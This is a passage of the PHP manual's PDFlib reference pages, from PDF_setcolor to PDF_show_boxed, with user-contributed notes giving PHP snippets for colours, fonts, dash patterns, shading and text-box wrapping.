       pdf_setcolor($pdf, $type, 'rgb', $color['r'], $color['g'], $color['b']);
}

Sample usage:
pdf_setcolor_hex('FFFFFF', 'fill');

-Derek
php at perfectweb dotcom 29-Apr-2003 12:59
Here's a function for converting HTML hexadecimal colors to RGB decimals suitable for this function:

$color_hex = "FF0000";       ## whatever hex color you want
$color = convert_hexcolor_rgbdec($color_hex);
pdf_setcolor($pdf, 'fill', 'rgb', $color['r'], $color['g'], $color['b']);

function convert_hexcolor_rgbdec($color_hex)
{
   $color['r'] = hexdec(substr($color_hex, 0, 2))/255;
   $color['g'] = hexdec(substr($color_hex, 2, 2))/255;
   $color['b'] = hexdec(substr($color_hex, 4, 2))/255;
   return $color;
}

-Derek
maurice dot anglebert at free dot fr 28-Apr-2003 08:25
Bonjour,

Cette fonction est utilisable pour définir une couleur de police.

Hello,

I search for the way of setting colors for the font in pdf and I find this.
Hope it could help.

<?php
/**
*    set font color
*    maurice.anglebert@free.fr
*/

// path for the pdf file and string to show
$pdfFilePath = $_SERVER[DOCUMENT_ROOT]."/the_dir_of_the_file/test.pdf";
$string = "The new color of my font";

$pdf = pdf_new();
pdf_open_file($pdf, $pdfFilePath);
pdf_set_info($pdf, "Title", "Test pdf");
// A4 page
pdf_begin_page($pdf, 595, 842);

// set up of the font
$font = pdf_findfont($pdf, "Courier", "host", FALSE);
    if (isset($font)) {
       pdf_setfont($pdf, $font, 10) or die ("unknown font");
    }

pdf_setColor($pdf, "fill", "rgb",0, 0, 1);
// this for blue color
// pdf_setColor($pdf, "fill", "rgb",1, 0, 0) for red

pdf_set_value($pdf, "textrendering", 0);
// show at the top of the page center
pdf_show_boxed($pdf, $string, 0, 832, 595, 10, "center", "");

// resets graphic state
pdf_initGraphics($pdf);
// end of page and pdf_object
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);

// use header to get the file
header("Content-type: application/pdf");
header("Content-length: ".filesize($pdfFilePath));
header("Content-disposition: inline; filename=test.pdf");
readfile($pdfFilePath);
?>
psychosos at gmx dot at 16-Apr-2003 10:51
If you want to change the font color you need to set type to  "fill", not "stroke" ("both" also works, of course).
steven dot gould at NO_SPAM dot stevengould dot org 21-Dec-2001 11:44
If you encounter errors of the form function 'PDF_setcolor' must not be called in 'path' scope this generally means that you've called the PDFLib functions in the wrong order. For example, the following would be *incorrect* because PDF_rect marks the beginning of the "path scope", and set_color must not be called in path scope:

<?php

// THIS CODE WILL PRODUCE AN ERROR
PDF_rect($pdf,0,0,$width,$height);
PDF_setcolor($pdf,$red,$green,$blue);
PDF_fill($pdf);
<p>The correct order of function calls is as follows:
<p>// Correct order of function calls
PDF_setcolor($pdf,$red,$green,$blue);
PDF_rect($pdf,0,0,$width,$height);
PDF_fill($pdf);

?>
PDF_set_word_spacing
PDF_setdash
PDF Functions


Set simple dash pattern

PDF_setcolor
PDF_setdashpattern
PDF Functions
PHP Manual

PDF_setdash

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setdash — Set simple dash pattern

Description

bool PDF_setdash ( resource $pdfdoc , float $b , float $w )

Sets the current dash pattern to b black and w white units. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Rkane 12-Sep-2006 11:18
Here is how I added a dashed line to my pdf.  I couldn't find any info on this, so I decided to write what I learned from trial and error.

On a page that is 612px wide and signified by $p, I drew a dashed line from left to right.
$p = pdf_new();
pdf_begin_document($p,"","");
pdf_begin_page_ext($p,612,792,"");

pdf_setdash($p,3,7);      //3,7 can be any set of numbers
pdf_save($p);                //This saves what already there
pdf_moveto($p,0,700);   //move the pointer here
pdf_lineto($p,612,700);      //draw a line
pdf_closepath_stroke($p);  //show the line
pdf_restore($p);               //put it all back

pdf_end_page_ext($p,"");
pdf_end_document($p,"");

$buf = pdf_get_buffer($p);
$len = strlen($buf);
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=hello.pdf");
print $buf;
PDF_setcolor
PDF_setdashpattern
PDF Functions


Set dash pattern

PDF_setdash
PDF_setflat
PDF Functions
PHP Manual

PDF_setdashpattern

(PECL pdflib >= 2.0.0)

PDF_setdashpattern — Set dash pattern

Description

bool PDF_setdashpattern ( resource $pdfdoc , string $optlist )

Sets a dash pattern defined by an option list. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setdash
PDF_setflat
PDF Functions


Set flatness

PDF_setdashpattern
PDF_setfont
PDF Functions
PHP Manual

PDF_setflat

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setflat — Set flatness

Description

bool PDF_setflat ( resource $pdfdoc , float $flatness )

Sets the flatness parameter. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setdashpattern
PDF_setfont
PDF Functions


Set font

PDF_setflat
PDF_setgray_fill
PDF Functions
PHP Manual

PDF_setfont

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setfont — Set font

Description

bool PDF_setfont ( resource $pdfdoc , int $font , float $fontsize )

Sets the current font in the specified size, using a font handle returned by PDF_load_font(). Returns TRUE on success or FALSE on failure.

User Contributed Notes

info at techcare dot ch 13-Dec-2008 04:22
Note that core font Helvetica-Bold does not accept font sizes>12 .
This probably affects other core fonts.
pcheely at presensit dot com 24-Oct-2007 05:56
Here is a simple function to ease changing fonts in your PDF.

function pdf_font($pdf,$size,$face='arial')
{
   //Set the path
   $path=$_SERVER['DOCUMENT_ROOT'];
   ${$face} = $face."=$path/fonts/".$face.".ttf";

   pdf_set_parameter($pdf, 'FontOutline',${$face});

   $font=pdf_findfont($pdf,$face,"host",0);

    pdf_setfont($pdf,$font,$size);
}
Malcolm Scott 04-Jun-2003 12:38
Note that pdf_setfont (this function) and pdf_set_font (a deprecated function) are different. I spent a while trying to figure out why my code wasn't working; it turns out I'd included the extra underscore by accident...
shan at symbiotic dot 2y dot net 21-Dec-2000 02:21
For those who are looking
the PDF core fonts Are

Courier,Courier-Bold,Courier-Oblique,Courier-BoldOblique,
Helvetica,Helvetica-Bold,Helvetica-Oblique,Helvetica-BoldOblique,
Times-Roman,Times-Bold,Times-Italic,Times-BoldItalic,
Symbol,ZapfDingbats
afsilva at netscape dot net 06-Nov-2000 11:04
To anyone who is trying to add extra FONTS to work with PHP and pdflib.

Take a look at: ftp://ftp.adobe.com/pub/adobe/type/win/all/afmfiles/ - This is collection of fonts already converted to AFM. There are thousands of fonts. What I am doing is downloading everything, and then I will grep my way through the directories to find what I am looking for.

Another tip: to get the pdflib.upr file working with your fonts add:
putenv("PDFLIBRESOURCE=/dir/where/the/file/is/fonts/pdflib.upr");
on the beginning of your php script. And make sure you change the Font Definition entry on your pdflib.upr file as well. It needs to point to the directory where the .afm files are.
cox at idecnet dot com 30-Mar-2000 04:24
There is also another encoding called 'host'. in the pdflib test examples, they say:
" We don't want to use metrics files for the sample, and therefore stick to host encoding. For this reason the sample text (which uses German special characters) must be platform-specific. Both flavors only differ in the special characters."
PDF_setflat
PDF_setgray_fill
PDF Functions


Set fill color to gray [deprecated]

PDF_setfont
PDF_setgray_stroke
PDF Functions
PHP Manual

PDF_setgray_fill

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setgray_fill — Set fill color to gray [deprecated]

Description

bool PDF_setgray_fill ( resource $p , float $g )

Sets the current fill color to a gray value between 0 and 1 inclusive. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setfont
PDF_setgray_stroke
PDF Functions


Set stroke color to gray [deprecated]

PDF_setgray_fill
PDF_setgray
PDF Functions
PHP Manual

PDF_setgray_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setgray_stroke — Set stroke color to gray [deprecated]

Description

bool PDF_setgray_stroke ( resource $p , float $g )

Sets the current stroke color to a gray value between 0 and 1 inclusive. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setgray_fill
PDF_setgray
PDF Functions


Set color to gray [deprecated]

PDF_setgray_stroke
PDF_setlinecap
PDF Functions
PHP Manual

PDF_setgray

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setgray — Set color to gray [deprecated]

Description

bool PDF_setgray ( resource $p , float $g )

Sets the current fill and stroke color to a gray value between 0 and 1 inclusive. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

leea at digitus dot com dot au 29-Jan-2001 07:37
pdf_setgray double values start at 0 for black and end at 1 for white so for any shade of gray simply pick a value inbetween these 2 numbers
PDF_setgray_stroke
PDF_setlinecap
PDF Functions


Set linecap parameter

PDF_setgray
PDF_setlinejoin
PDF Functions
PHP Manual

PDF_setlinecap

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setlinecap — Set linecap parameter

Description

bool PDF_setlinecap ( resource $p , int $linecap )

Sets the linecap parameter to control the shape at the end of a path with respect to stroking.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setgray
PDF_setlinejoin
PDF Functions


Set linejoin parameter

PDF_setlinecap
PDF_setlinewidth
PDF Functions
PHP Manual

PDF_setlinejoin

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setlinejoin — Set linejoin parameter

Description

bool PDF_setlinejoin ( resource $p , int $value )

Sets the linejoin parameter to specify the shape at the corners of paths that are stroked. Returns TRUE on success or FALSE on failure.

User Contributed Notes

aRichboy at mac dot com 12-Mar-2002 11:01
Where:
0 = Miter join
1 = Round join
2 = Bevel join
PDF_setlinecap
PDF_setlinewidth
PDF Functions


Set line width

PDF_setlinejoin
PDF_setmatrix
PDF Functions
PHP Manual

PDF_setlinewidth

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setlinewidth — Set line width

Description

bool PDF_setlinewidth ( resource $p , float $width )

Sets the current line width. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bob at nijman dot de 02-Aug-2001 05:27
This will draw a simple rectangle...
...with a few extras.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf-stuff");
pdf_begin_page($pdf, 200, 200);

// just a simple rectangle
pdf_setlinewidth($pdf, 5); //make the border of the rectangle a bit wider
pdf_rotate($pdf, 5); //rotate the coordinate system (NOT THE RECTANGLE !!!!!)
pdf_rect($pdf, 100, 100, 50, 50); //draw the rectangle
pdf_stroke($pdf); //stroke the path with the current color(not yet :-)) and line width

//note: the rect is not drawn untill we use pdf_stroke - try it out!!!

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=invoice.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
Great german (!!!) tutorial
PDF_setlinejoin
PDF_setmatrix
PDF Functions


Set current transformation matrix

PDF_setlinewidth
PDF_setmiterlimit
PDF Functions
PHP Manual

PDF_setmatrix

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setmatrix — Set current transformation matrix

Description

bool PDF_setmatrix ( resource $p , float $a , float $b , float $c , float $d , float $e , float $f )

Explicitly sets the current transformation matrix. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setlinewidth
PDF_setmiterlimit
PDF Functions


Set miter limit

PDF_setmatrix
PDF_setpolydash
PDF Functions
PHP Manual

PDF_setmiterlimit

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setmiterlimit — Set miter limit

Description

bool PDF_setmiterlimit ( resource $pdfdoc , float $miter )

Sets the miter limit.Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setmatrix
PDF_setpolydash
PDF Functions


Set complicated dash pattern [deprecated]

PDF_setmiterlimit
PDF_setrgbcolor_fill
PDF Functions
PHP Manual

PDF_setpolydash

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setpolydash — Set complicated dash pattern [deprecated]

Description

This function is deprecated since PDFlib version 5, use PDF_setdashpattern() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setmiterlimit
PDF_setrgbcolor_fill
PDF Functions


Set fill rgb color values [deprecated]

PDF_setpolydash
PDF_setrgbcolor_stroke
PDF Functions
PHP Manual

PDF_setrgbcolor_fill

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setrgbcolor_fill — Set fill rgb color values [deprecated]

Description

bool PDF_setrgbcolor_fill ( resource $p , float $red , float $green , float $blue )

Sets the current fill color to the supplied RGB values. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

philipp dot maske at location-bretagne dot de 12-Jun-2003 06:33
It took some time to understand, that the float values have to be beetween beetween 0 and 1. If you use graphic tools like color-pickers etc. it is necessary to convert the RGB values frome the scale of 1 to 255 to 0 to 1.

Use this small function to make your life easier:

function pdf_setrgbcolor_fill_better($intPdfObj, $intRed, $intGreen, $intBlue) {
  if($intRed<=0||$intRed>255|| $intGreen<=0|| $intGreen>255|| $intBlue<=0|| $intBlue>255) return false;

  $floatRed        = $intRed/255;
  $floatGreen      = $intGreen/255;
  $floatBlue       = $intBlue/255;

  return pdf_setrgbcolor_fill ($intPdfObj, $floatRed, $floatGreen, $floatBlue);
  }

Have Fun!
Philipp
--
Mail:   philipp.maske@location-bretagne.de
WWW: http://www.location-bretagne.de
maske at chiquadrat dot de 01-Nov-2001 07:16
the double values for each RGB color start at '0' and end at '1'. So use e.g. pdf_setrgbcolor_fill(int pdf_document,1,1,1) for white, pdf_setrgbcolor_fill(int pdf_document,0,0,0) for black or something in between for a mixed color.
PDF_setpolydash
PDF_setrgbcolor_stroke
PDF Functions


Set stroke rgb color values [deprecated]

PDF_setrgbcolor_fill
PDF_setrgbcolor
PDF Functions
PHP Manual

PDF_setrgbcolor_stroke

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setrgbcolor_stroke — Set stroke rgb color values [deprecated]

Description

bool PDF_setrgbcolor_stroke ( resource $p , float $red , float $green , float $blue )

Sets the current stroke color to the supplied RGB values. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setrgbcolor_fill
PDF_setrgbcolor
PDF Functions


Set fill and stroke rgb color values [deprecated]

PDF_setrgbcolor_stroke
PDF_shading_pattern
PDF Functions
PHP Manual

PDF_setrgbcolor

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setrgbcolor — Set fill and stroke rgb color values [deprecated]

Description

bool PDF_setrgbcolor ( resource $p , float $red , float $green , float $blue )

Sets the current fill and stroke color to the supplied RGB values. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 4, use PDF_setcolor() instead.

User Contributed Notes

n dot gaertner at gmx dot net 09-Jul-2001 05:19
<b>Use this code to convert HEX colors to RGB that you can use with pdf_setrgbcolor:</b>
<?
$color = "#FF00FF";
$string = str_replace("#","",$color);
$red = hexdec(substr($string,0,2)) / 255;
$green = hexdec(substr($string,2,2)) / 255;
$blue = hexdec(substr($string,4,2)) / 255;
pdf_rect($pdf, 110, 600, 20, 30);
pdf_setrgbcolor_fill($pdf, $red, $green, $blue);
pdf_fill($pdf);
?>

This gives you a pink rectangle!
skuenzli at u dot arizona dot edu 26-Apr-2000 12:17
Here is a snippet of code to create a blue rectangle:

<?php

/*
*pdf_setrgbcolor(pdf_file, float red, float green, float blue);
*red/green/blue are values between 0 and 1.
*It appears that the value is supposed to be a percentage intensity.
*0.0 means a 0% intensity for that color (0 in RGB-scale)
*0.5 means a 50% intensity of that color (127 in RGB-scale)
*1.0 means a 100% intensity of that color (255 in RGB-scale)
*/

//Create blue rectangle
pdf_rect($pdf, 110, 600, 20, 30);
pdf_setrgbcolor_fill($pdf, 0, 0, 1.0);
pdf_fill($pdf);

?>
PDF_setrgbcolor_stroke
PDF_shading_pattern
PDF Functions


Define shading pattern

PDF_setrgbcolor
PDF_shading
PDF Functions
PHP Manual

PDF_shading_pattern

(PECL pdflib >= 2.0.0)

PDF_shading_pattern — Define shading pattern

Description

int PDF_shading_pattern ( resource $pdfdoc , int $shading , string $optlist )

Defines a shading pattern using a shading object.

This function requires PDF 1.4 or above.

User Contributed Notes

There are no user contributed notes for this page.
PDF_setrgbcolor
PDF_shading
PDF Functions


Define blend

PDF_shading_pattern
PDF_shfill
PDF Functions
PHP Manual

PDF_shading

(PECL pdflib >= 2.0.0)

PDF_shading — Define blend

Description

int PDF_shading ( resource $pdfdoc , string $shtype , float $x0 , float $y0 , float $x1 , float $y1 , float $c1 , float $c2 , float $c3 , float $c4 , string $optlist )

Defines a blend from the current fill color to another color.

This function requires PDF 1.4 or above.

User Contributed Notes

Mike Zmuda 11-May-2006 04:22
<?php
//Here be the circle code... Arrrrr
//Notes:
//        The shading command can create a simple shaded
//        circle, a donut (mmmmm.... donuts....,) or a circle
//        with a hi-lite (aka offset shade.)
//
//        A simple circle is just two circles with the same origin,
//        in which one has a radius of x, and the other has a
//        radius of 0.
//
//        A donut is a circle with two circles with the same
//        origin, in which one has a radius of x, and the
//        other has a radius of y (presumably, non-zero.)
//
//        A hi-lit circle is more like a sphere in that is has an
//        area (presumably a highlight,) which is off-center.

//Standard php5 init routines.
//    NOTE: For php4, do pdf_[commandname]($p,.....)
//                 - example: PDF_set_info($p,"Title", "Moe");

$p = new PDFlib();
if ($p->begin_document("", "") == 0) {
     die("Error: " . $p->get_errmsg());
}
$p->set_info("Creator", "Homer");
$p->set_info("Author", "Lisa");
$p->set_info("Title", "Simpsons Circle");
$p->begin_page_ext(612, 792, ""); // This is letter.

//Smart idea to set up clipping:
$p->save();
//Set up clipping rectangle at pos (100,100) with wid/hei=100.
$p->rect(100,600,100,100);
//Designate it a CLIPPING rectangle.
$p->clip();

//Simple shaded circle
//   radial = circular.      (axial = linear)
//   Origin of first circle = 150,650
//   Origin of second circle = 150,650
//   Hilite color = 1 (full on in a grayscale image = white.)
//   0,0,0 = the rest of the color pallatte.
//   options: "r0=50 r1=0":
//       Radius of circle "0" = 50.
//       Radius of circle "1" = 0. (in other words, not a donut!)
$shading=$p->shading("radial", 150, 650, 150, 650, 1, 0, 0, 0, "r0=50 r1=0");
//This command actually does the shading.
$p->shfill($shading);
//Restore after saving...
$p->restore();

//Simple, non-offset (aka "funky") donut. (mmmmmm....)
// Again, set up clipping rect.
$p->save();
// This time at pos 300, 600 with width & height at 100 ea.
$p->rect(300,600,100,100);
$p->clip();

//Le Donut
//   radial = circular
//   Origin of first circle = 350,650
//   Origin of second circle = 350,650
//   Hilite color = 1 (white)
//   0,0,0 = the rest of the color pallatte.
//   options: "r0=50 r1=25":
//       Radius of circle "0" = 50.
//       Radius of circle "1" = 25. (in other words, a donut!)
$shading=$p->shading("radial", 350, 650, 350, 650, 1, 0, 0, 0, "r0=50 r1=25");
$p->shfill($shading);
$p->restore();

//And finally, the hilight sphere / orb of death... whatever.
// Again, set up clipping rect...
$p->save();
$p->rect(500,600,100,100);
$p->clip();

//Simple shaded circle
//   radial = circular.
//   Origin of first circle = 550,650
//   Origin of second circle = 575,675
//   Hilite color = 1
//   0,0,0 = the rest of the color pallatte.
//   options: "r0=50 r1=0":
//       Radius of circle "0" = 50.
//       Radius of circle "1" = 0. (a solid)
$shading=$p->shading("radial", 550, 650, 575, 675, 1, 0, 0, 0, "r0=50 r1=0");
$p->shfill($shading);
$p->restore();

//Send the end-of-page routines.
$p->end_page_ext("");
$p->end_document("");
$buf = $p->get_buffer();
$len = strlen($buf);
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=CircTest.pdf");
print $buf;
?>
PDF_shading_pattern
PDF_shfill
PDF Functions


Fill area with shading

PDF_shading
PDF_show_boxed
PDF Functions
PHP Manual

PDF_shfill

(PECL pdflib >= 2.0.0)

PDF_shfill — Fill area with shading

Description

bool PDF_shfill ( resource $pdfdoc , int $shading )

Fills an area with a shading, based on a shading object.

This function requires PDF 1.4 or above.

User Contributed Notes

There are no user contributed notes for this page.
PDF_shading
PDF_show_boxed
PDF Functions


Output text in a box [deprecated]

PDF_shfill
PDF_show_xy
PDF Functions
PHP Manual

PDF_show_boxed

(PHP 4, PECL pdflib >= 1.0.0)

PDF_show_boxed — Output text in a box [deprecated]

Description

int PDF_show_boxed ( resource $p , string $text , float $left , float $top , float $width , float $height , string $mode , string $feature )

This function is deprecated since PDFlib version 6, use PDF_fit_textline() for single lines, or the PDF_*_textflow() functions for multi-line formatting instead.

User Contributed Notes

J Griffiths 29-Jun-2010 06:49
As this is nowadays the poor/stingy man's alternative to the commercial PDFlib PDF_*_textflow() functions, I thought it might be useful to point out something that isn't explicitly mentioned here, but is helpful to determine a text box's height before committing it to the PDF:

This function returns the number of characters that would not fit in the prescribed dimensions.

Therefore, if, as noted below, the only feature, "blind", is passed as the last value to this function, you can determine whether or not a certain height is sufficient for your text, and increment as necessary, or decide to start a new page, without writing the text block to the PDF, by checking whether or not the function returns 0.

This avoids the problem of the "texty" value becoming available only when the box has been written, by which time it might too late!
han__hui at hotmail dot com 27-Apr-2009 12:46
an example to illustrate the use of pdf_show_boxed(...).

<?php
$pdf = pdf_new();
pdf_set_parameter($pdf,"license","xxxxxxx-xxxxxx-xxxxxx-xxxxxx"); //to remove the stamp/wartermark of the generated pdf file.

pdf_set_info($pdf, "Creator", "pdf.php");
pdf_set_info($pdf, "Author", "hui");
pdf_open_file($pdf,"");  //without a file name, it will open the pdf file in the browser directly.
pdf_begin_page($pdf,595,842); //A4 page
$font = pdf_findfont($pdf, "Helvetica", "host", 0);

$lineHeight = 10;
$y = 800;

pdf_setfont($pdf, $font, $lineHeight);

$text = "Hi, I am Hui.\n\rI am working in IT Dept.\nI am good at linux administration and programming in Java, PHP, Javascript, C and C++.";

$ret = pdf_show_boxed($pdf,$text,30,$y,350,$lineHeight,"left","");

$lineSpace = 5;

while($ret>0)  //write the whole text into the pdf line by line including the new line character
{
    $y = $y - $lineHeight-$lineSpace;
    $left = substr($text,-$ret);
    if($left[0] == "\n" or $left[0] == "\r") $left = substr($left,1); //this line decrements the $ret by 1.
    $ret = pdf_show_boxed($pdf,$left,30,$y,350,$lineHeight,"left","");

}

pdf_end_page($pdf);

pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=whatever.pdf");
print $buf;
?>

PS: Without "if" in the while loop, it will be an infinite loop when it encounters "\n" or "\r" in the text to be written.
Ben 06-Jun-2008 09:45
Be aware that a long unbroken section of text, such as a line of characters that is too wide to fit into the allotted space, will cause a seg fault.

I have a user who entered a long line of Q's as a placeholder in his text.  Attempting to output to PDF with the Q's in place caused a seg fault.

The solution is to test the width of words to ensure that they are narrow enough to fit in the allotted width and, if not, to break them so that they are.
james at lightbox dot org 13-Dec-2004 11:51
I'm using the following libpdf versions:
   PDFlib GmbH Version  6.0.1
   PECL Version  2.0.3

I found the parameter 'top' to be misleading.  Since 0,0 is in the bottom left of the page, the top parameter is actually the bottom left corner of the box you want.

using
     top=72
     left=72
puts the bottom left corner of the box 1 inch in from the left, and 1 inch up from the bottom.

so to make a 6.5"x3" box (with 1" page margins) at the BOTTOM of the page, you would use:
  top=72
  left=72
  width=468
  height=216

The text would then start in the top-left corner of the defined box, which would be at (72,288)   (in 1" from the left and up 4" from the bottom)
asmodai at wxs dot nl 05-Nov-2004 03:21
For those who are as confused as I was (still am in small parts):

mode can be at least: left, right, center, justify
feature: if specified as "" will immediately display the desired text, if specified as "blind" will hide the text

This had me stumped for a while.
phict4 at hotmail dot com 30-Oct-2004 06:45
With PHP5 the feature parameter is required, set this to null or false to produce the same result as without the parameter in versions previous to 5.
flyingman15 at yahoooo point fr 23-Sep-2004 05:01
Little improve from what bob at nijman dot de said :

$text = "Réduire le déficit de l'État, voilà bien l'ambition annoncée de Nicolas Sarkozy. Pour son unique budget, le médiatique patron des finances françaises estime avoir rempli son pari. Mais à quel prix ? Ce projet de loi de finances oublie la promesse présidentielle de baisser l'impôt sur le revenu et la pression fiscale sur les ménages augmente.Face aux nombreux journalistes, le bouillonnant Sarkozy défend son bébé. Un premier né, bientôt orphelin d'un père qui s'en va prendre, en novembre, la tête de l'UMP.";

$line_width = 300.0;
$line_height = 20.0;
$x = 10.0;
$y = 230.0;

$nr = pdf_show_boxed($pdf, $text, $x, $y, $line_width, $line_height, "left");
$y = $y - $line_height;

while($nr > 0){
$nr = pdf_show_boxed($pdf, $nr.substr($text, -$nr), $x, $y, $line_width , $line_height, "left");
$y = $y - $line_height;
}

Quite usefull....for me at least, so if that can help anybody else...
sebastien at galliot dot com 25-Jun-2004 03:27
easier than pdf_show_boxed ()  !
to center text in a box :

<?

pdf_fit_textline ($pdf, "$string", $x, $y, "boxsize {40 20} position 50");
?>

You can also fit text proportionnally in the box  :

<?
pdf_fit_textline ($pdf, "$string", $x, $y, "boxsize {40 20} position 50 fitmethod meet");
?>

See Pdflib documentation for other text placement functions
(4.8.2 Placing Text in a Box in the Pdf documentation)
hackajar matt yahoo trott com 10-Feb-2004 09:12
Sometimes using pdf_show_boxed() is no help at all, such as in a parser, where you have html tags to mangle text with.  Example:

pdf_show_boxed() with text tokens and html tags will look like this:

_____________________
| ------------------ |
|| text_box1   ||box| |
| ------------    2| |
|               ----  |
|                    |
|     A PDF PAGE      |
|____________________|
box 2 is where you changed to bold or italic in mid sentance, and now it moves down to next line, but at $x cor, or if your not using pdf_show_boxed ; but pdf_show_xy, it will trail into your right-margin or worse off the page

Solution:  Use a word chuck loop

//Get space left to end of page
$space = (612-$right_margin);
//Get total length of text string
$length = pdf_stringwidth($pdf, $text);
//Check to see if there is enough space just
//to dump text to page
if($length > $space) {
     //Start a parser
     $count = strlen($text);
     for($i=o; $i<$count;) {
          //Get the first word in text string
          for($e=$i; $e<$count && substr($text, $e, 1)!=" "; $e++);
          //Put that word into a string (don't forget to +1
          //for the space we used at stopping marker
          $string = substr($text, $i, ($e-$i)+1);
          //Now get the length of THAT text string
          $length = pdf_stringwidth($pdf, $string);
          if($length < $space) {
               pdf_show_xy($pdf, $string, $x, $y);
               $x = $x+$length;
               //Because this routine gets cycled everytime
               //you send text to it, make sure you update
               //how much space is left on the line
               $space = (612-36)-$x;
           } else {
               //Move down one line as there is no space
               //left, note that I use "2" as my padding, yours
               //may vary
               $y = $y - ($fontsize +2);
               $x = $left_margin;
               pdf_show_xy($pdf, $string, $x, $y);
               $x = $x+$length;
               $space = (612-36)-$x;
           }
           //Move the loop counter to end of this word +
           //the space we used as stop marker
           $i=$e+1;
     }
} else {
     if($center == "1") {
          pdf_show_boxed($pdf, $text, 0, $y, 612, $fontsize, "center");
     } else {
          pdf_show_xy($pdf, $text, $x, $y);
     }
     $x = $x + $length;
}

This is a part of a function I use, so it may look a little mangled, great for a starting point though.
matt at unixhead withoutspam dot org 04-Feb-2003 05:12
note if you would rather resize the font than the textbox on the PDF you produce (i.e. if you need a set layout) you could do something like:

while (pdf_show_boxed($pdfdoc, $txt, 220, 100, 180, 250, "left", "blind") > 1) {
   $font--;
    pdf_set_font($pdfdoc, "Courier", $font, "host");
}
pdf_show_boxed($pdfdoc,$txt,220,100,180,250,"left");

This will keep downsizing the font until all the text fits in the box you specify.
bloecherATgmxDOTde 15-Aug-2002 04:37
better use pdf_get_value($p, 'leading') for calculating the height of your textbox, coz 'fontsize' might be a little to small as it's not the distance between the baselines =)
[see pdflib-manual, table 4.7]
kinneko at whopper dot de 15-Jul-2002 05:14
If you have newlines in your data ("\n") a following PDF_get_value($pdf, "texty") may not return the positon of the last char that is displayed.
ceo at l-i-e dot com 18-Feb-2002 01:00
D'oh!

Ignore previous note.

There were newlines in my data. :-(
So a box only one line tall would fit any characters.

So the "Gotcha" is that embedded new-lines can make pdf_show_boxed incapable of drawing *any* of your text in a one-line tall box.
ceo at l-i-e dot com 17-Feb-2002 05:07
It might be because my font files are corrupted, and I'm using setfont... 'host', 0
but it seems like sometimes pdf_draw_boxed can't draw *ANY* characters of perfectly normal text.
The words at the beginning of the text are certainly capable of fitting.

It works fine for some strings, and not for others.

Hard to say if it's really a bug or not, and yes, I'll file a bug report, but in the meantime, one has to be careful of not creating an infinite loop trying to draw the same impossible text over and over.

If the number of characters not drawn (return value of pdf_show_boxed) is equal to the length of the string you tried to draw, GAME OVER.
Jochen dot Riehm at teilauto dot net 09-Jan-2002 11:50
It should be noted that creating a "blind" text box and using the texty value does not work since it is (as correctly mentioned in the manual) not changed by "blind" boxes
06-Dec-2001 05:29
Some improvement on leea@digitus.com.au code to get
a dynamic text box. This first compute a minimum height:

$fontsize = pdf_get_value($pdf,'fontsize');
$length = pdf_stringwidth($pdf,$text);
$textHeight = ceil($length/$width)*$fontsize;

while(pdf_show_boxed($pdf,$text, $left,$top,$width,$textHeight,$h_align,'blind') > 1)
$textHeight += $fontsize;

pdf_show_boxed($pdf,$text,$left,$top,$width,$textHeight,$h_align);

Ivan
lofino at caramail dot com 29-Oct-2001 10:21
IT_KTS < I thought it wasn't important, but I had this fatal error : « Fatal error: PDFlib error: floating point value too large in pdf_ftoa »

After looking for the reasons of this fatal error, I've finally found how it comes :

- you have to have only one word
- this word has to be too long for the box
- you have to be in justify mode

If you meet this fatal error, jump into the "left" mode, or split your word/sentence.
IT_KTS at PHISL dot NET 06-Sep-2001 03:47
pdf_show_boxed only works with 2 or more words not one word... try it people..
